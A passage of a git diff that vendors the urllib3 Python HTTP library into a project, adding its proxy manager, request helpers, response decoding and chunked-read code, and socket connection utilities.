via the CONNECT method. **Enabling this flag means that request + and response headers and content will be visible from the HTTPS proxy** + whereas tunneling keeps request and response headers and content + private. IP address, target hostname, SNI, and port are always visible + to an HTTPS proxy even when this flag is disabled. + + Example: + >>> proxy = urllib3.ProxyManager('http://localhost:3128/') + >>> r1 = proxy.request('GET', 'http://google.com/') + >>> r2 = proxy.request('GET', 'http://httpbin.org/') + >>> len(proxy.pools) + 1 + >>> r3 = proxy.request('GET', 'https://httpbin.org/') + >>> r4 = proxy.request('GET', 'https://twitter.com/') + >>> len(proxy.pools) + 3 + + """ + + def __init__( + self, + proxy_url, + num_pools=10, + headers=None, + proxy_headers=None, + proxy_ssl_context=None, + use_forwarding_for_https=False, + **connection_pool_kw + ): + + if isinstance(proxy_url, HTTPConnectionPool): + proxy_url = "%s://%s:%i" % ( + proxy_url.scheme, + proxy_url.host, + proxy_url.port, + ) + proxy = parse_url(proxy_url) + + if proxy.scheme not in ("http", "https"): + raise ProxySchemeUnknown(proxy.scheme) + + if not proxy.port: + port = port_by_scheme.get(proxy.scheme, 80) + proxy = proxy._replace(port=port) + + self.proxy = proxy + self.proxy_headers = proxy_headers or {} + self.proxy_ssl_context = proxy_ssl_context + self.proxy_config = ProxyConfig(proxy_ssl_context, use_forwarding_for_https) + + connection_pool_kw["_proxy"] = self.proxy + connection_pool_kw["_proxy_headers"] = self.proxy_headers + connection_pool_kw["_proxy_config"] = self.proxy_config + + super(ProxyManager, self).__init__(num_pools, headers, **connection_pool_kw) + + def connection_from_host(self, host, port=None, scheme="http", pool_kwargs=None): + if scheme == "https": + return super(ProxyManager, self).connection_from_host( + host, port, scheme, pool_kwargs=pool_kwargs + ) + + return super(ProxyManager, self).connection_from_host( + self.proxy.host, self.proxy.port, self.proxy.scheme, pool_kwargs=pool_kwargs + ) + + def _set_proxy_headers(self, url, headers=None): + """ + Sets headers needed by proxies: specifically, the Accept and Host + headers. Only sets headers not provided by the user. + """ + headers_ = {"Accept": "*/*"} + + netloc = parse_url(url).netloc + if netloc: + headers_["Host"] = netloc + + if headers: + headers_.update(headers) + return headers_ + + def urlopen(self, method, url, redirect=True, **kw): + "Same as HTTP(S)ConnectionPool.urlopen, ``url`` must be absolute." + u = parse_url(url) + if not connection_requires_http_tunnel(self.proxy, self.proxy_config, u.scheme): + # For connections using HTTP CONNECT, httplib sets the necessary + # headers on the CONNECT to the proxy. If we're not using CONNECT, + # we'll definitely need to set 'Host' at the very least. + headers = kw.get("headers", self.headers) + kw["headers"] = self._set_proxy_headers(url, headers) + + return super(ProxyManager, self).urlopen(method, url, redirect=redirect, **kw) + + +def proxy_from_url(url, **kw): + return ProxyManager(proxy_url=url, **kw) diff --git a/function/http/package/urllib3/request.py b/function/http/package/urllib3/request.py new file mode 100644 index 0000000..398386a --- /dev/null +++ b/function/http/package/urllib3/request.py @@ -0,0 +1,170 @@ +from __future__ import absolute_import + +from .filepost import encode_multipart_formdata +from .packages.six.moves.urllib.parse import urlencode + +__all__ = ["RequestMethods"] + + +class RequestMethods(object): + """ + Convenience mixin for classes who implement a :meth:`urlopen` method, such + as :class:`urllib3.HTTPConnectionPool` and + :class:`urllib3.PoolManager`. + + Provides behavior for making common types of HTTP request methods and + decides which type of request field encoding to use. + + Specifically, + + :meth:`.request_encode_url` is for sending requests whose fields are + encoded in the URL (such as GET, HEAD, DELETE). + + :meth:`.request_encode_body` is for sending requests whose fields are + encoded in the *body* of the request using multipart or www-form-urlencoded + (such as for POST, PUT, PATCH). + + :meth:`.request` is for making any kind of request, it will look up the + appropriate encoding format and use one of the above two methods to make + the request. + + Initializer parameters: + + :param headers: + Headers to include with all requests, unless other headers are given + explicitly. + """ + + _encode_url_methods = {"DELETE", "GET", "HEAD", "OPTIONS"} + + def __init__(self, headers=None): + self.headers = headers or {} + + def urlopen( + self, + method, + url, + body=None, + headers=None, + encode_multipart=True, + multipart_boundary=None, + **kw + ): # Abstract + raise NotImplementedError( + "Classes extending RequestMethods must implement " + "their own ``urlopen`` method." + ) + + def request(self, method, url, fields=None, headers=None, **urlopen_kw): + """ + Make a request using :meth:`urlopen` with the appropriate encoding of + ``fields`` based on the ``method`` used. + + This is a convenience method that requires the least amount of manual + effort. It can be used in most situations, while still having the + option to drop down to more specific methods when necessary, such as + :meth:`request_encode_url`, :meth:`request_encode_body`, + or even the lowest level :meth:`urlopen`. + """ + method = method.upper() + + urlopen_kw["request_url"] = url + + if method in self._encode_url_methods: + return self.request_encode_url( + method, url, fields=fields, headers=headers, **urlopen_kw + ) + else: + return self.request_encode_body( + method, url, fields=fields, headers=headers, **urlopen_kw + ) + + def request_encode_url(self, method, url, fields=None, headers=None, **urlopen_kw): + """ + Make a request using :meth:`urlopen` with the ``fields`` encoded in + the url. This is useful for request methods like GET, HEAD, DELETE, etc. + """ + if headers is None: + headers = self.headers + + extra_kw = {"headers": headers} + extra_kw.update(urlopen_kw) + + if fields: + url += "?" + urlencode(fields) + + return self.urlopen(method, url, **extra_kw) + + def request_encode_body( + self, + method, + url, + fields=None, + headers=None, + encode_multipart=True, + multipart_boundary=None, + **urlopen_kw + ): + """ + Make a request using :meth:`urlopen` with the ``fields`` encoded in + the body. This is useful for request methods like POST, PUT, PATCH, etc. + + When ``encode_multipart=True`` (default), then + :func:`urllib3.encode_multipart_formdata` is used to encode + the payload with the appropriate content type. Otherwise + :func:`urllib.parse.urlencode` is used with the + 'application/x-www-form-urlencoded' content type. + + Multipart encoding must be used when posting files, and it's reasonably + safe to use it in other times too. However, it may break request + signing, such as with OAuth. + + Supports an optional ``fields`` parameter of key/value strings AND + key/filetuple. A filetuple is a (filename, data, MIME type) tuple where + the MIME type is optional. For example:: + + fields = { + 'foo': 'bar', + 'fakefile': ('foofile.txt', 'contents of foofile'), + 'realfile': ('barfile.txt', open('realfile').read()), + 'typedfile': ('bazfile.bin', open('bazfile').read(), + 'image/jpeg'), + 'nonamefile': 'contents of nonamefile field', + } + + When uploading a file, providing a filename (the first parameter of the + tuple) is optional but recommended to best mimic behavior of browsers. + + Note that if ``headers`` are supplied, the 'Content-Type' header will + be overwritten because it depends on the dynamic random boundary string + which is used to compose the body of the request. The random boundary + string can be explicitly set with the ``multipart_boundary`` parameter. + """ + if headers is None: + headers = self.headers + + extra_kw = {"headers": {}} + + if fields: + if "body" in urlopen_kw: + raise TypeError( + "request got values for both 'fields' and 'body', can only specify one." + ) + + if encode_multipart: + body, content_type = encode_multipart_formdata( + fields, boundary=multipart_boundary + ) + else: + body, content_type = ( + urlencode(fields), + "application/x-www-form-urlencoded", + ) + + extra_kw["body"] = body + extra_kw["headers"] = {"Content-Type": content_type} + + extra_kw["headers"].update(headers) + extra_kw.update(urlopen_kw) + + return self.urlopen(method, url, **extra_kw) diff --git a/function/http/package/urllib3/response.py b/function/http/package/urllib3/response.py new file mode 100644 index 0000000..8f1b4fa --- /dev/null +++ b/function/http/package/urllib3/response.py @@ -0,0 +1,885 @@ +from __future__ import absolute_import + +import io +import logging +import sys +import warnings +import zlib +from contextlib import contextmanager +from socket import error as SocketError +from socket import timeout as SocketTimeout + +try: + try: + import brotlicffi as brotli + except ImportError: + import brotli +except ImportError: + brotli = None + +from . import util +from ._collections import HTTPHeaderDict +from .connection import BaseSSLError, HTTPException +from .exceptions import ( + BodyNotHttplibCompatible, + DecodeError, + HTTPError, + IncompleteRead, + InvalidChunkLength, + InvalidHeader, + ProtocolError, + ReadTimeoutError, + ResponseNotChunked, + SSLError, +) +from .packages import six +from .util.response import is_fp_closed, is_response_to_head + +log = logging.getLogger(__name__) + + +class DeflateDecoder(object): + def __init__(self): + self._first_try = True + self._data = b"" + self._obj = zlib.decompressobj() + + def __getattr__(self, name): + return getattr(self._obj, name) + + def decompress(self, data): + if not data: + return data + + if not self._first_try: + return self._obj.decompress(data) + + self._data += data + try: + decompressed = self._obj.decompress(data) + if decompressed: + self._first_try = False + self._data = None + return decompressed + except zlib.error: + self._first_try = False + self._obj = zlib.decompressobj(-zlib.MAX_WBITS) + try: + return self.decompress(self._data) + finally: + self._data = None + + +class GzipDecoderState(object): + + FIRST_MEMBER = 0 + OTHER_MEMBERS = 1 + SWALLOW_DATA = 2 + + +class GzipDecoder(object): + def __init__(self): + self._obj = zlib.decompressobj(16 + zlib.MAX_WBITS) + self._state = GzipDecoderState.FIRST_MEMBER + + def __getattr__(self, name): + return getattr(self._obj, name) + + def decompress(self, data): + ret = bytearray() + if self._state == GzipDecoderState.SWALLOW_DATA or not data: + return bytes(ret) + while True: + try: + ret += self._obj.decompress(data) + except zlib.error: + previous_state = self._state + # Ignore data after the first error + self._state = GzipDecoderState.SWALLOW_DATA + if previous_state == GzipDecoderState.OTHER_MEMBERS: + # Allow trailing garbage acceptable in other gzip clients + return bytes(ret) + raise + data = self._obj.unused_data + if not data: + return bytes(ret) + self._state = GzipDecoderState.OTHER_MEMBERS + self._obj = zlib.decompressobj(16 + zlib.MAX_WBITS) + + +if brotli is not None: + + class BrotliDecoder(object): + # Supports both 'brotlipy' and 'Brotli' packages + # since they share an import name. The top branches + # are for 'brotlipy' and bottom branches for 'Brotli' + def __init__(self): + self._obj = brotli.Decompressor() + if hasattr(self._obj, "decompress"): + self.decompress = self._obj.decompress + else: + self.decompress = self._obj.process + + def flush(self): + if hasattr(self._obj, "flush"): + return self._obj.flush() + return b"" + + +class MultiDecoder(object): + """ + From RFC7231: + If one or more encodings have been applied to a representation, the + sender that applied the encodings MUST generate a Content-Encoding + header field that lists the content codings in the order in which + they were applied. + """ + + def __init__(self, modes): + self._decoders = [_get_decoder(m.strip()) for m in modes.split(",")] + + def flush(self): + return self._decoders[0].flush() + + def decompress(self, data): + for d in reversed(self._decoders): + data = d.decompress(data) + return data + + +def _get_decoder(mode): + if "," in mode: + return MultiDecoder(mode) + + if mode == "gzip": + return GzipDecoder() + + if brotli is not None and mode == "br": + return BrotliDecoder() + + return DeflateDecoder() + + +class HTTPResponse(io.IOBase): + """ + HTTP Response container. + + Backwards-compatible with :class:`http.client.HTTPResponse` but the response ``body`` is + loaded and decoded on-demand when the ``data`` property is accessed. This + class is also compatible with the Python standard library's :mod:`io` + module, and can hence be treated as a readable object in the context of that + framework. + + Extra parameters for behaviour not present in :class:`http.client.HTTPResponse`: + + :param preload_content: + If True, the response's body will be preloaded during construction. + + :param decode_content: + If True, will attempt to decode the body based on the + 'content-encoding' header. + + :param original_response: + When this HTTPResponse wrapper is generated from an :class:`http.client.HTTPResponse` + object, it's convenient to include the original for debug purposes. It's + otherwise unused. + + :param retries: + The retries contains the last :class:`~urllib3.util.retry.Retry` that + was used during the request. + + :param enforce_content_length: + Enforce content length checking. Body returned by server must match + value of Content-Length header, if present. Otherwise, raise error. + """ + + CONTENT_DECODERS = ["gzip", "deflate"] + if brotli is not None: + CONTENT_DECODERS += ["br"] + REDIRECT_STATUSES = [301, 302, 303, 307, 308] + + def __init__( + self, + body="", + headers=None, + status=0, + version=0, + reason=None, + strict=0, + preload_content=True, + decode_content=True, + original_response=None, + pool=None, + connection=None, + msg=None, + retries=None, + enforce_content_length=False, + request_method=None, + request_url=None, + auto_close=True, + ): + + if isinstance(headers, HTTPHeaderDict): + self.headers = headers + else: + self.headers = HTTPHeaderDict(headers) + self.status = status + self.version = version + self.reason = reason + self.strict = strict + self.decode_content = decode_content + self.retries = retries + self.enforce_content_length = enforce_content_length + self.auto_close = auto_close + + self._decoder = None + self._body = None + self._fp = None + self._original_response = original_response + self._fp_bytes_read = 0 + self.msg = msg + self._request_url = request_url + + if body and isinstance(body, (six.string_types, bytes)): + self._body = body + + self._pool = pool + self._connection = connection + + if hasattr(body, "read"): + self._fp = body + + # Are we using the chunked-style of transfer encoding? + self.chunked = False + self.chunk_left = None + tr_enc = self.headers.get("transfer-encoding", "").lower() + # Don't incur the penalty of creating a list and then discarding it + encodings = (enc.strip() for enc in tr_enc.split(",")) + if "chunked" in encodings: + self.chunked = True + + # Determine length of response + self.length_remaining = self._init_length(request_method) + + # If requested, preload the body. + if preload_content and not self._body: + self._body = self.read(decode_content=decode_content) + + def get_redirect_location(self): + """ + Should we redirect and where to? + + :returns: Truthy redirect location string if we got a redirect status + code and valid location. ``None`` if redirect status and no + location. ``False`` if not a redirect status code. + """ + if self.status in self.REDIRECT_STATUSES: + return self.headers.get("location") + + return False + + def release_conn(self): + if not self._pool or not self._connection: + return + + self._pool._put_conn(self._connection) + self._connection = None + + def drain_conn(self): + """ + Read and discard any remaining HTTP response data in the response connection. + + Unread data in the HTTPResponse connection blocks the connection from being released back to the pool. + """ + try: + self.read() + except (HTTPError, SocketError, BaseSSLError, HTTPException): + pass + + @property + def data(self): + # For backwards-compat with earlier urllib3 0.4 and earlier. + if self._body: + return self._body + + if self._fp: + return self.read(cache_content=True) + + @property + def connection(self): + return self._connection + + def isclosed(self): + return is_fp_closed(self._fp) + + def tell(self): + """ + Obtain the number of bytes pulled over the wire so far. May differ from + the amount of content returned by :meth:``urllib3.response.HTTPResponse.read`` + if bytes are encoded on the wire (e.g, compressed). + """ + return self._fp_bytes_read + + def _init_length(self, request_method): + """ + Set initial length value for Response content if available. + """ + length = self.headers.get("content-length") + + if length is not None: + if self.chunked: + # This Response will fail with an IncompleteRead if it can't be + # received as chunked. This method falls back to attempt reading + # the response before raising an exception. + log.warning( + "Received response with both Content-Length and " + "Transfer-Encoding set. This is expressly forbidden " + "by RFC 7230 sec 3.3.2. Ignoring Content-Length and " + "attempting to process response as Transfer-Encoding: " + "chunked." + ) + return None + + try: + # RFC 7230 section 3.3.2 specifies multiple content lengths can + # be sent in a single Content-Length header + # (e.g. Content-Length: 42, 42). This line ensures the values + # are all valid ints and that as long as the `set` length is 1, + # all values are the same. Otherwise, the header is invalid. + lengths = set([int(val) for val in length.split(",")]) + if len(lengths) > 1: + raise InvalidHeader( + "Content-Length contained multiple " + "unmatching values (%s)" % length + ) + length = lengths.pop() + except ValueError: + length = None + else: + if length < 0: + length = None + + # Convert status to int for comparison + # In some cases, httplib returns a status of "_UNKNOWN" + try: + status = int(self.status) + except ValueError: + status = 0 + + # Check for responses that shouldn't include a body + if status in (204, 304) or 100 <= status < 200 or request_method == "HEAD": + length = 0 + + return length + + def _init_decoder(self): + """ + Set-up the _decoder attribute if necessary. + """ + # Note: content-encoding value should be case-insensitive, per RFC 7230 + # Section 3.2 + content_encoding = self.headers.get("content-encoding", "").lower() + if self._decoder is None: + if content_encoding in self.CONTENT_DECODERS: + self._decoder = _get_decoder(content_encoding) + elif "," in content_encoding: + encodings = [ + e.strip() + for e in content_encoding.split(",") + if e.strip() in self.CONTENT_DECODERS + ] + if len(encodings): + self._decoder = _get_decoder(content_encoding) + + DECODER_ERROR_CLASSES = (IOError, zlib.error) + if brotli is not None: + DECODER_ERROR_CLASSES += (brotli.error,) + + def _decode(self, data, decode_content, flush_decoder): + """ + Decode the data passed in and potentially flush the decoder. + """ + if not decode_content: + return data + + try: + if self._decoder: + data = self._decoder.decompress(data) + except self.DECODER_ERROR_CLASSES as e: + content_encoding = self.headers.get("content-encoding", "").lower() + raise DecodeError( + "Received response with content-encoding: %s, but " + "failed to decode it." % content_encoding, + e, + ) + if flush_decoder: + data += self._flush_decoder() + + return data + + def _flush_decoder(self): + """ + Flushes the decoder. Should only be called if the decoder is actually + being used. + """ + if self._decoder: + buf = self._decoder.decompress(b"") + return buf + self._decoder.flush() + + return b"" + + @contextmanager + def _error_catcher(self): + """ + Catch low-level python exceptions, instead re-raising urllib3 + variants, so that low-level exceptions are not leaked in the + high-level api. + + On exit, release the connection back to the pool. + """ + clean_exit = False + + try: + try: + yield + + except SocketTimeout: + # FIXME: Ideally we'd like to include the url in the ReadTimeoutError but + # there is yet no clean way to get at it from this context. + raise ReadTimeoutError(self._pool, None, "Read timed out.") + + except BaseSSLError as e: + # FIXME: Is there a better way to differentiate between SSLErrors? + if "read operation timed out" not in str(e): + # SSL errors related to framing/MAC get wrapped and reraised here + raise SSLError(e) + + raise ReadTimeoutError(self._pool, None, "Read timed out.") + + except (HTTPException, SocketError) as e: + # This includes IncompleteRead. + raise ProtocolError("Connection broken: %r" % e, e) + + # If no exception is thrown, we should avoid cleaning up + # unnecessarily. + clean_exit = True + finally: + # If we didn't terminate cleanly, we need to throw away our + # connection. + if not clean_exit: + # The response may not be closed but we're not going to use it + # anymore so close it now to ensure that the connection is + # released back to the pool. + if self._original_response: + self._original_response.close() + + # Closing the response may not actually be sufficient to close + # everything, so if we have a hold of the connection close that + # too. + if self._connection: + self._connection.close() + + # If we hold the original response but it's closed now, we should + # return the connection back to the pool. + if self._original_response and self._original_response.isclosed(): + self.release_conn() + + def _fp_read(self, amt): + """ + Read a response with the thought that reading the number of bytes + larger than can fit in a 32-bit int at a time via SSL in some + known cases leads to an overflow error that has to be prevented + if `amt` or `self.length_remaining` indicate that a problem may + happen. + + The known cases: + * 3.8 <= CPython < 3.9.7 because of a bug + https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900. + * urllib3 injected with pyOpenSSL-backed SSL-support. + * CPython < 3.10 only when `amt` does not fit 32-bit int. + """ + assert self._fp + c_int_max = 2 ** 31 - 1 + if ( + ( + (amt and amt > c_int_max) + or (self.length_remaining and self.length_remaining > c_int_max) + ) + and not util.IS_SECURETRANSPORT + and (util.IS_PYOPENSSL or sys.version_info < (3, 10)) + ): + buffer = io.BytesIO() + # Besides `max_chunk_amt` being a maximum chunk size, it + # affects memory overhead of reading a response by this + # method in CPython. + # `c_int_max` equal to 2 GiB - 1 byte is the actual maximum + # chunk size that does not lead to an overflow error, but + # 256 MiB is a compromise. + max_chunk_amt = 2 ** 28 + while amt is None or amt != 0: + if amt is not None: + chunk_amt = min(amt, max_chunk_amt) + amt -= chunk_amt + else: + chunk_amt = max_chunk_amt + data = self._fp.read(chunk_amt) + if not data: + break + buffer.write(data) + del data # to reduce peak memory usage by `max_chunk_amt`. + return buffer.getvalue() + else: + # StringIO doesn't like amt=None + return self._fp.read(amt) if amt is not None else self._fp.read() + + def read(self, amt=None, decode_content=None, cache_content=False): + """ + Similar to :meth:`http.client.HTTPResponse.read`, but with two additional + parameters: ``decode_content`` and ``cache_content``. + + :param amt: + How much of the content to read. If specified, caching is skipped + because it doesn't make sense to cache partial content as the full + response. + + :param decode_content: + If True, will attempt to decode the body based on the + 'content-encoding' header. + + :param cache_content: + If True, will save the returned data such that the same result is + returned despite of the state of the underlying file object. This + is useful if you want the ``.data`` property to continue working + after having ``.read()`` the file object. (Overridden if ``amt`` is + set.) + """ + self._init_decoder() + if decode_content is None: + decode_content = self.decode_content + + if self._fp is None: + return + + flush_decoder = False + fp_closed = getattr(self._fp, "closed", False) + + with self._error_catcher(): + data = self._fp_read(amt) if not fp_closed else b"" + if amt is None: + flush_decoder = True + else: + cache_content = False + if ( + amt != 0 and not data + ): # Platform-specific: Buggy versions of Python. + # Close the connection when no data is returned + # + # This is redundant to what httplib/http.client _should_ + # already do. However, versions of python released before + # December 15, 2012 (http://bugs.python.org/issue16298) do + # not properly close the connection in all cases. There is + # no harm in redundantly calling close. + self._fp.close() + flush_decoder = True + if self.enforce_content_length and self.length_remaining not in ( + 0, + None, + ): + # This is an edge case that httplib failed to cover due + # to concerns of backward compatibility. We're + # addressing it here to make sure IncompleteRead is + # raised during streaming, so all calls with incorrect + # Content-Length are caught. + raise IncompleteRead(self._fp_bytes_read, self.length_remaining) + + if data: + self._fp_bytes_read += len(data) + if self.length_remaining is not None: + self.length_remaining -= len(data) + + data = self._decode(data, decode_content, flush_decoder) + + if cache_content: + self._body = data + + return data + + def stream(self, amt=2 ** 16, decode_content=None): + """ + A generator wrapper for the read() method. A call will block until + ``amt`` bytes have been read from the connection or until the + connection is closed. + + :param amt: + How much of the content to read. The generator will return up to + much data per iteration, but may return less. This is particularly + likely when using compressed data. However, the empty string will + never be returned. + + :param decode_content: + If True, will attempt to decode the body based on the + 'content-encoding' header. + """ + if self.chunked and self.supports_chunked_reads(): + for line in self.read_chunked(amt, decode_content=decode_content): + yield line + else: + while not is_fp_closed(self._fp): + data = self.read(amt=amt, decode_content=decode_content) + + if data: + yield data + + @classmethod + def from_httplib(ResponseCls, r, **response_kw): + """ + Given an :class:`http.client.HTTPResponse` instance ``r``, return a + corresponding :class:`urllib3.response.HTTPResponse` object. + + Remaining parameters are passed to the HTTPResponse constructor, along + with ``original_response=r``. + """ + headers = r.msg + + if not isinstance(headers, HTTPHeaderDict): + if six.PY2: + # Python 2.7 + headers = HTTPHeaderDict.from_httplib(headers) + else: + headers = HTTPHeaderDict(headers.items()) + + # HTTPResponse objects in Python 3 don't have a .strict attribute + strict = getattr(r, "strict", 0) + resp = ResponseCls( + body=r, + headers=headers, + status=r.status, + version=r.version, + reason=r.reason, + strict=strict, + original_response=r, + **response_kw + ) + return resp + + # Backwards-compatibility methods for http.client.HTTPResponse + def getheaders(self): + warnings.warn( + "HTTPResponse.getheaders() is deprecated and will be removed " + "in urllib3 v2.1.0. Instead access HTTResponse.headers directly.", + category=DeprecationWarning, + stacklevel=2, + ) + return self.headers + + def getheader(self, name, default=None): + warnings.warn( + "HTTPResponse.getheader() is deprecated and will be removed " + "in urllib3 v2.1.0. Instead use HTTResponse.headers.get(name, default).", + category=DeprecationWarning, + stacklevel=2, + ) + return self.headers.get(name, default) + + # Backwards compatibility for http.cookiejar + def info(self): + return self.headers + + # Overrides from io.IOBase + def close(self): + if not self.closed: + self._fp.close() + + if self._connection: + self._connection.close() + + if not self.auto_close: + io.IOBase.close(self) + + @property + def closed(self): + if not self.auto_close: + return io.IOBase.closed.__get__(self) + elif self._fp is None: + return True + elif hasattr(self._fp, "isclosed"): + return self._fp.isclosed() + elif hasattr(self._fp, "closed"): + return self._fp.closed + else: + return True + + def fileno(self): + if self._fp is None: + raise IOError("HTTPResponse has no file to get a fileno from") + elif hasattr(self._fp, "fileno"): + return self._fp.fileno() + else: + raise IOError( + "The file-like object this HTTPResponse is wrapped " + "around has no file descriptor" + ) + + def flush(self): + if ( + self._fp is not None + and hasattr(self._fp, "flush") + and not getattr(self._fp, "closed", False) + ): + return self._fp.flush() + + def readable(self): + # This method is required for `io` module compatibility. + return True + + def readinto(self, b): + # This method is required for `io` module compatibility. + temp = self.read(len(b)) + if len(temp) == 0: + return 0 + else: + b[: len(temp)] = temp + return len(temp) + + def supports_chunked_reads(self): + """ + Checks if the underlying file-like object looks like a + :class:`http.client.HTTPResponse` object. We do this by testing for + the fp attribute. If it is present we assume it returns raw chunks as + processed by read_chunked(). + """ + return hasattr(self._fp, "fp") + + def _update_chunk_length(self): + # First, we'll figure out length of a chunk and then + # we'll try to read it from socket. + if self.chunk_left is not None: + return + line = self._fp.fp.readline() + line = line.split(b";", 1)[0] + try: + self.chunk_left = int(line, 16) + except ValueError: + # Invalid chunked protocol response, abort. + self.close() + raise InvalidChunkLength(self, line) + + def _handle_chunk(self, amt): + returned_chunk = None + if amt is None: + chunk = self._fp._safe_read(self.chunk_left) + returned_chunk = chunk + self._fp._safe_read(2) # Toss the CRLF at the end of the chunk. + self.chunk_left = None + elif amt < self.chunk_left: + value = self._fp._safe_read(amt) + self.chunk_left = self.chunk_left - amt + returned_chunk = value + elif amt == self.chunk_left: + value = self._fp._safe_read(amt) + self._fp._safe_read(2) # Toss the CRLF at the end of the chunk. + self.chunk_left = None + returned_chunk = value + else: # amt > self.chunk_left + returned_chunk = self._fp._safe_read(self.chunk_left) + self._fp._safe_read(2) # Toss the CRLF at the end of the chunk. + self.chunk_left = None + return returned_chunk + + def read_chunked(self, amt=None, decode_content=None): + """ + Similar to :meth:`HTTPResponse.read`, but with an additional + parameter: ``decode_content``. + + :param amt: + How much of the content to read. If specified, caching is skipped + because it doesn't make sense to cache partial content as the full + response. + + :param decode_content: + If True, will attempt to decode the body based on the + 'content-encoding' header. + """ + self._init_decoder() + # FIXME: Rewrite this method and make it a class with a better structured logic. + if not self.chunked: + raise ResponseNotChunked( + "Response is not chunked. " + "Header 'transfer-encoding: chunked' is missing." + ) + if not self.supports_chunked_reads(): + raise BodyNotHttplibCompatible( + "Body should be http.client.HTTPResponse like. " + "It should have have an fp attribute which returns raw chunks." + ) + + with self._error_catcher(): + # Don't bother reading the body of a HEAD request. + if self._original_response and is_response_to_head(self._original_response): + self._original_response.close() + return + + # If a response is already read and closed + # then return immediately. + if self._fp.fp is None: + return + + while True: + self._update_chunk_length() + if self.chunk_left == 0: + break + chunk = self._handle_chunk(amt) + decoded = self._decode( + chunk, decode_content=decode_content, flush_decoder=False + ) + if decoded: + yield decoded + + if decode_content: + # On CPython and PyPy, we should never need to flush the + # decoder. However, on Jython we *might* need to, so + # lets defensively do it anyway. + decoded = self._flush_decoder() + if decoded: # Platform-specific: Jython. + yield decoded + + # Chunk content ends with \r\n: discard it. + while True: + line = self._fp.fp.readline() + if not line: + # Some sites may not end with '\r\n'. + break + if line == b"\r\n": + break + + # We read everything; close the "file". + if self._original_response: + self._original_response.close() + + def geturl(self): + """ + Returns the URL that was the source of this response. + If the request that generated this response redirected, this method + will return the final redirect location. + """ + if self.retries is not None and len(self.retries.history): + return self.retries.history[-1].redirect_location + else: + return self._request_url + + def __iter__(self): + buffer = [] + for chunk in self.stream(decode_content=True): + if b"\n" in chunk: + chunk = chunk.split(b"\n") + yield b"".join(buffer) + chunk[0] + b"\n" + for x in chunk[1:-1]: + yield x + b"\n" + if chunk[-1]: + buffer = [chunk[-1]] + else: + buffer = [] + else: + buffer.append(chunk) + if buffer: + yield b"".join(buffer) diff --git a/function/http/package/urllib3/util/__init__.py b/function/http/package/urllib3/util/__init__.py new file mode 100644 index 0000000..4547fc5 --- /dev/null +++ b/function/http/package/urllib3/util/__init__.py @@ -0,0 +1,49 @@ +from __future__ import absolute_import + +# For backwards compatibility, provide imports that used to be here. +from .connection import is_connection_dropped +from .request import SKIP_HEADER, SKIPPABLE_HEADERS, make_headers +from .response import is_fp_closed +from .retry import Retry +from .ssl_ import ( + ALPN_PROTOCOLS, + HAS_SNI, + IS_PYOPENSSL, + IS_SECURETRANSPORT, + PROTOCOL_TLS, + SSLContext, + assert_fingerprint, + resolve_cert_reqs, + resolve_ssl_version, + ssl_wrap_socket, +) +from .timeout import Timeout, current_time +from .url import Url, get_host, parse_url, split_first +from .wait import wait_for_read, wait_for_write + +__all__ = ( + "HAS_SNI", + "IS_PYOPENSSL", + "IS_SECURETRANSPORT", + "SSLContext", + "PROTOCOL_TLS", + "ALPN_PROTOCOLS", + "Retry", + "Timeout", + "Url", + "assert_fingerprint", + "current_time", + "is_connection_dropped", + "is_fp_closed", + "get_host", + "parse_url", + "make_headers", + "resolve_cert_reqs", + "resolve_ssl_version", + "split_first", + "ssl_wrap_socket", + "wait_for_read", + "wait_for_write", + "SKIP_HEADER", + "SKIPPABLE_HEADERS", +) diff --git a/function/http/package/urllib3/util/connection.py b/function/http/package/urllib3/util/connection.py new file mode 100644 index 0000000..6af1138 --- /dev/null +++ b/function/http/package/urllib3/util/connection.py @@ -0,0 +1,149 @@ +from __future__ import absolute_import + +import socket + +from ..contrib import _appengine_environ +from ..exceptions import LocationParseError +from ..packages import six +from .wait import NoWayToWaitForSocketError, wait_for_read + + +def is_connection_dropped(conn): # Platform-specific + """ + Returns True if the connection is dropped and should be closed. + + :param conn: + :class:`http.client.HTTPConnection` object. + + Note: For platforms like AppEngine, this will always return ``False`` to + let the platform handle connection recycling transparently for us. + """ + sock = getattr(conn, "sock", False) + if sock is False: # Platform-specific: AppEngine + return False + if sock is None: # Connection already closed (such as by httplib). + return True + try: + # Returns True if readable, which here means it's been dropped + return wait_for_read(sock, timeout=0.0) + except NoWayToWaitForSocketError: # Platform-specific: AppEngine + return False + + +# This function is copied from socket.py in the Python 2.7 standard +# library test suite. Added to its signature is only `socket_options`. +# One additional modification is that we avoid binding to IPv6 servers +# discovered in DNS if the system doesn't have IPv6 functionality. +def create_connection( + address, + timeout=socket._GLOBAL_DEFAULT_TIMEOUT, + source_address=None, + socket_options=None, +): + """Connect to *address* and return the socket object. + + Convenience function. Connect to *address* (a 2-tuple ``(host, + port)``) and return the socket object. Passing the optional + *timeout* parameter will set the timeout on the socket instance + before attempting to connect. If no *timeout* is supplied, the + global default timeout setting returned by :func:`socket.getdefaulttimeout` + is used. If *source_address* is set it must be a tuple of (host, port) + for the socket to bind as a source address before making the connection. + An host of '' or port 0 tells the OS to use the default. + """ + + host, port = address + if host.startswith("["): + host = host.strip("[]") + err = None + + # Using the value from allowed_gai_family() in the context of getaddrinfo lets + # us select whether to work with IPv4 DNS records, IPv6 records, or both. + # The original create_connection function always returns all records. + family = allowed_gai_family() + + try: + host.encode("idna") + except UnicodeError: + return six.raise_from( + LocationParseError(u"'%s', label empty or too long" % host), None + ) + + for res in socket.getaddrinfo(host, port, family, socket.SOCK_STREAM): + af, socktype, proto, canonname, sa = res + sock = None + try: + sock = socket.socket(af, socktype, proto) + + # If provided, set socket level options before connecting. + _set_socket_options(sock, socket_options) + + if timeout is not socket._GLOBAL_DEFAULT_TIMEOUT: + sock.settimeout(timeout) + if source_address: + sock.bind(source_address) + sock.connect(sa) + return sock + + except socket.error as e: + err = e + if sock is not None: + sock.close() + sock = None + + if err is not None: + raise err + + raise socket.error("getaddrinfo returns an empty list") + + +def _set_socket_options(sock, options): + if options is None: + return + + for opt in options: + sock.setsockopt(*opt) + + +def allowed_gai_family(): + """This function is designed to work in the context of + getaddrinfo, where family=socket.AF_UNSPEC is the default and + will perform a DNS search for both IPv6 and IPv4 records.""" + + family = socket.AF_INET + if HAS_IPV6: + family = socket.AF_UNSPEC + return family + + +def _has_ipv6(host): + """Returns True if the system can bind an IPv6 address.""" + sock = None + has_ipv6 = False + + # App Engine doesn't support IPV6 sockets and actually has a quota on the + # number of sockets that can be used, so just early out here instead of + # creating a 